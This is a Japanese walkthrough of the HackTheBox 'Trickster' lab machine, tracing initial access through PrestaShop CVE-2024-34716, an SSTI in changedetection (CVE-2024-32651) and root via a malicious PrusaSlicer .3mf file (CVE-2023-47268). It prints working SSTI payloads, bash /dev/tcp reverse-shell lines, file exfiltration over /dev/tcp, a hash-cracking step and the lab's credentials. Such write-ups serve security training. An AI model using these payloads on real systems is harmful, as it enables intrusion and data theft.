概要
HackTheBox「Trickster」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.34 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://trickster.htb/
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache/2.4.52 |
ドメインを/etc/hosts
に追記します。
10.10.11.34 trickster.htb
80
番ポートにアクセスするとWebページが表示されました。
ソースコードからshop.trickster.htb
サブドメインを発見したので/etc/hosts
に追記します。
10.10.11.34 trickster.htb shop.trickster.htb
shop.trickster.htb
にアクセスするとECサイトが表示されました。
サイトにはPrestaShop
が使用されていると分かりました。
INSTALL.txt
からPrestaShop 8
が使用されていると分かりました。
shop.trickster.htb
のディレクトリスキャンをします。
$ dirsearch -u http://shop.trickster.htb
[15:56:22] 301 - 323B - /.git -> http://shop.trickster.htb/.git/
[15:56:26] 200 - 20B - /.git/COMMIT_EDITMSG
[15:56:27] 200 - 28B - /.git/HEAD
[15:56:27] 200 - 112B - /.git/config
(省略)
[16:30:39] 200 - 1KB - /INSTALL.txt
[16:33:13] 200 - 9KB - /login
[16:33:57] 200 - 863B - /Makefile
[16:35:39] 301 - 326B - /modules -> http://shop.trickster.htb/modules/
[16:38:25] 301 - 322B - /pdf -> http://shop.trickster.htb/pdf/
[16:43:17] 200 - 10KB - /registration
[16:43:40] 200 - 850B - /robots.txt
[16:44:16] 200 - 9KB - /search
[16:49:45] 301 - 324B - /tools -> http://shop.trickster.htb/tools/
[16:50:21] 301 - 325B - /upload -> http://shop.trickster.htb/upload/
robots.txt
からさらにパスを列挙できました。
# robots.txt automatically generated by PrestaShop e-commerce open-source solution
# https://www.prestashop.com - https://www.prestashop.com/forums
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow: /.git
# Allow Directives
Allow: */modules/*.css
Allow: */modules/*.js
Allow: */modules/*.png
(省略)
Gitフォルダを発見したのでgit-dumperでダウンロードします。
$ ./git_dumper.py http://shop.trickster.htb/.git ./shop_trickster
ダウンロードが完了するとadmin634ewutrx1jgitlooaj
というフォルダもダウンロード出来ています。
$ ls -la git-dumper/shop_trickster
total 232
drwxrwxr-x 4 kali kali 4096 Dec 12 11:00 .
drwxrwxr-x 5 kali kali 4096 Dec 12 10:59 ..
drwxrwxr-x 8 kali kali 4096 Dec 12 11:00 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 kali kali 1305 Dec 12 11:00 autoload.php
-rw-rw-r-- 1 kali kali 2506 Dec 12 11:00 error500.html
drwxrwxr-x 7 kali kali 4096 Dec 12 11:00 .git
-rw-rw-r-- 1 kali kali 1169 Dec 12 11:00 index.php
-rw-rw-r-- 1 kali kali 1256 Dec 12 11:00 init.php
-rw-rw-r-- 1 kali kali 522 Dec 12 11:00 Install_PrestaShop.html
-rw-rw-r-- 1 kali kali 5054 Dec 12 11:00 INSTALL.txt
-rw-rw-r-- 1 kali kali 183862 Dec 12 11:00 LICENSES
-rw-rw-r-- 1 kali kali 863 Dec 12 11:00 Makefile
-rw-rw-r-- 1 kali kali 1538 Dec 12 11:00 .php-cs-fixer.dist.php
prestashopでは管理フォルダ名がAdminのログインパスになっているようです。
なのでこのフォルダ名で管理画面へアクセスできそうです。
/admin634ewutrx1jgitlooaj
へアクセスすると予想通りログイン画面が表示されました。
PrestaShop 8.1.5
が使用されていると分かりました。
脆弱性情報を探すとCVE-2024-34716
が見つかりました。
この脆弱性を悪用することでXSSからRCEに繋げられるようです。
PoCには下記リポジトリを使用しました。
デフォルトでNcat
コマンドを使用していますが、nc
コマンドに変更しました。
if response.status_code == 200:
print(f"[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.")
# 変更
output = subprocess.call(["nc", "-lnvp", "12345"], shell=False)
PoCを実行し、www-data
のシェルを取得できました。
$ python exploit.py --url http://shop.trickster.htb --email a@a.com --local-ip 10.10.14.176 --admin-path admin634ewutrx1jgitlooaj
[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: a@a.com
Local IP: 10.10.14.176
Admin Path: admin634ewutrx1jgitlooaj
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
Serving at http.Server on port 5000
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [12/Dec/2024 15:04:00] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.34] 33922
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
20:04:15 up 2:06, 0 users, load average: 0.11, 0.14, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
PrestaShopでのDB設定ファイルは/app/config/parameters.php
にあるようなので確認します。
DBユーザー名とパスワードを入手できました。
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
MySQLにログイン出来ました。
$ mysql -u ps_user -p
mysql -u ps_user -p
Enter password: prest@shop_o
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
prestashop
データベースのテーブルを確認するとps_employee
を発見しました。
このテーブルにアカウント情報が格納されていそうです。
MariaDB [prestashop]> show tables;
show tables;
+-------------------------------------------------+
| Tables_in_prestashop |
+-------------------------------------------------+
(省略)
| ps_employee |
予想通りadmin
,james
のパスワードハッシュ値を得られました。
MariaDB [prestashop]> select * from ps_employee;
select * from ps_employee;
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
| id_employee | id_profile | id_lang | lastname | firstname | email | passwd | last_passwd_gen | stats_date_from | stats_date_to | stats_compare_from | stats_compare_to | stats_compare_option | preselect_date_range | bo_color | bo_theme | bo_css | default_tab | bo_width | bo_menu | active | optin | id_last_order | id_last_customer_message | id_last_customer | last_connection_date | reset_password_token | reset_password_validity | has_enabled_gravatar |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
| 1 | 1 | 1 | Store | Trickster | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C | 2024-05-25 13:10:20 | 2024-04-25 | 2024-05-25 | 0000-00-00 | 0000-00-00 | 1 | NULL | NULL | default | theme.css | 1 | 0 | 1 | 1 | NULL | 5 | 0 | 0 | 2024-12-12 | NULL | 0000-00-00 00:00:00 | 0 |
| 2 | 2 | 0 | james | james | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm | 2024-09-09 13:22:42 | NULL | NULL | NULL | NULL | 1 | NULL | NULL | NULL | NULL | 0 | 0 | 1 | 0 | NULL | 0 | 0 | 0 | NULL | NULL | NULL | 0 |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
james
のハッシュ値から平文を特定できました。
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
alwaysandforever (james)
特定したパスワードでjames
アカウントへ昇格出来ました。
$ su james
su james
Password: alwaysandforever
$ whoami
whoami
james
/home/james/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
cat user.txt
b505a4b9305472bfc87e55bf6af4a028
Root Flag
pspyでプロセス列挙を行うとDockerコンテナでchangedetection
が動いていると分かりました。
$ ./pspy32
2025/02/03 05:18:03 CMD: UID=0 PID=7498 | python ./changedetection.py -d /datastore
2025/02/03 05:18:03 CMD: UID=0 PID=7458 | /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
CMD: UID=0 PID=1300 | /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
Dockerのネットワークは172.17.0.1/16
なのでこのサブネット内のどれかでUPしているホストがあります。
james@trickster:/tmp$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:3f:10 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:66:b5:c6:c9 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
11: vethbe40599@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 2a:1a:36:52:ba:c3 brd ff:ff:ff:ff:ff:ff link-netnsid 0
ping sweepでDockerホストを列挙すると172.17.0.2
が分かりました。
$ for i in {1..254}; do (ping -c 1 172.17.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.148 ms
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.063 ms
疎通確認もできました。
james@trickster:~$ ping 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.080 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.069 ms
172.17.0.2
で稼働しているポートをスキャンします。
SSHでダイナミックフォワードを設定します。
$ ssh james@trickster.htb -D 1337
james@trickster.htb's password:
Last login: Mon Feb 3 04:56:40 2025 from 10.10.14.9
proxychainの設定をします。
$ sudo vi /etc/proxychains4.conf
socks5 127.0.0.1 1337
172.17.0.2
の5000番ポートでサービスが稼働していると分かりました。
$ proxychains nmap 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.26s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
5000/tcp open upnp
ローカルポートフォワードの設定をし、SSH接続をします。
$ ssh james@trickster.htb -L 5000:172.17.0.2:5000
5000
番ポートにアクセスするとChangeDetection
のログイン画面が表示され、バージョンが0.45.20
だと分かりました。
バージョンの脆弱性を探すとCVE-2024-32651
が見つかりました。
SSTIからRCEに繋げられるようです。
また、alwaysandforever
でログインに成功しました。
CVE-2024-32651
についてはNotification Body
にSSTIのペイロードを挿入出来るようです。
Netcatでリッスンします。
$ nc -lnvp 1234
listening on [any] 1234 ...
Notification URL List
にはget://local_IP:PORT
のように設定します。
Notification Body
に下記PoCを設定します。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Send test notification
をクリックするとSSTIが実行されたと分かりました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.34] 57192
GET / HTTP/1.1
Host: 10.10.14.70:1234
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 38
uid=0(root) gid=0(root) groups=0(root)
シェルを取得するPoCに変更し再度実行します。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.14.70/1234 0>&1"').read() }}
NetcatでリッスンしているDockerコンテナ内のシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.34] 41348
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a4b9a36ae7ff:/app# whoami
whoami
root
TTYの設定をします。
# python3 -c 'import pty; pty.spawn("/bin/bash")'
プロセスで確認できた/datastore
ディレクトリをみるとBackups
を見つけました。
root@a4b9a36ae7ff:/app# ls -al /datastore
ls -al /datastore
total 52
drwxr-xr-x 6 root root 4096 Feb 4 15:02 .
drwxr-xr-x 1 root root 4096 Sep 26 11:03 ..
drwxr-xr-x 2 root root 4096 Feb 4 14:57 9a710ff6-1d9a-425b-ab17-51ceb665d1ed
drwxr-xr-x 2 root root 4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root 4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root 4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root 64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root 155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root 73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 16308 Feb 4 15:02 url-watches.json
中には2つのZIPファイルがあります。
root@a4b9a36ae7ff:/app# cd /datastore/Backups
cd /datastore/Backups
root@a4b9a36ae7ff:/datastore/Backups# ls -la
ls -la
total 52
drwxr-xr-x 2 root root 4096 Aug 31 08:56 .
drwxr-xr-x 6 root root 4096 Feb 4 15:02 ..
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
それぞれZIPファイルをダウンロードします。
# cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.14.70/9001
# cat changedetection-backup-20240830202524.zip > /dev/tcp/10.10.14.70/9002
$ nc -lvnp 9001 > changedetection-backup-20240830194841.zip
listening on [any] 9001 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.34] 35634
$ nc -lvnp 9002 > changedetection-backup-20240830202524.zip
listening on [any] 9002 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.34] 50428
ZIPファイルを解凍すると.br
ファイルを見つけました。
$ unzip ../changedetection-backup-20240830194841.zip
Archive: ../changedetection-backup-20240830194841.zip
creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
inflating: secret.txt
inflating: url-list.txt
inflating: url-list-with-tags.txt
inflating: url-watches.json
$ unzip ../changedetection-backup-20240830202524.zip
Archive: ../changedetection-backup-20240830202524.zip
inflating: url-watches.json
inflating: secret.txt
inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/history.txt
inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/history.txt
inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/ba1fe8fcfb743ba16a136d805c38328f.txt.br
inflating: url-list.txt
inflating: url-list-with-tags.txt
.br
ファイルを調べるBrotli
というアルゴリズムで圧縮されたファイルだと分かりました。
brotli
コマンドで解凍できるようなので解凍します。
$ brotli --decompress ./b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br -o b4.txt
/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
からadam
のパスワードを得られました。
'database_host' => '127.0.0.1' ,
'database_port' => '' ,
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
adam
アカウントへ昇格出来ました。
james@trickster:~$ su adam
Password:
adam@trickster:/home/james$
sudo -l
で確認すると/opt/PrusaSlicer/prusaslicer
が設定されています。
$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
prusaslicer
のバージョンを確認すると2.6.1
だと分かりました。
adam@trickster:/home/james$ sudo /opt/PrusaSlicer/prusaslicer --version
Unknown option --version
PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)
https://github.com/prusa3d/PrusaSlicer
バージョンで脆弱性情報を探すとCVE-2023-47268
が見つかりました。
PoCを見ると-s
で.3mf
ファイルを指定し、Slic3r_PE.config
の; post_process =
でRCEが出来るようです。
下記リポジトリから.3mf
ファイルをダウンロードしました。
解凍します。
$ unzip ~/Downloads/evil.3mf
Archive: /home/kali/Downloads/evil.3mf
inflating: [Content_Types].xml
inflating: Metadata/thumbnail.png
inflating: _rels/.rels
inflating: 3D/3dmodel.model
inflating: Metadata/Slic3r_PE.config
inflating: Metadata/Slic3r_PE_model.config
リバースシェルのペイロードを追加します。
; post_process = /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.70/1234 0>&1'
ターゲットマシンに送信します。
$ scp pwn.3mf adam@trickster.htb:/tmp
adam@trickster.htb's password:
pwn.3mf
Netcatでリッスンしておきます。
$ nc -lnvp 1234
listening on [any] 1234 ...
送信したpwn.3mf
を指定し、/opt/PrusaSlicer/prusaslicer
を実行します。
$ sudo /opt/PrusaSlicer/prusaslicer -s /tmp/pwn.3mf
そうするとroot
でシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.34] 44130
root@trickster:/tmp# whoami
whoami
root
/root/root.txt
からルートフラグを入手できました。
root@trickster:/tmp# cat /root/root.txt
cat /root/root.txt
30bef5577b92d9515ed89e2679d6eb40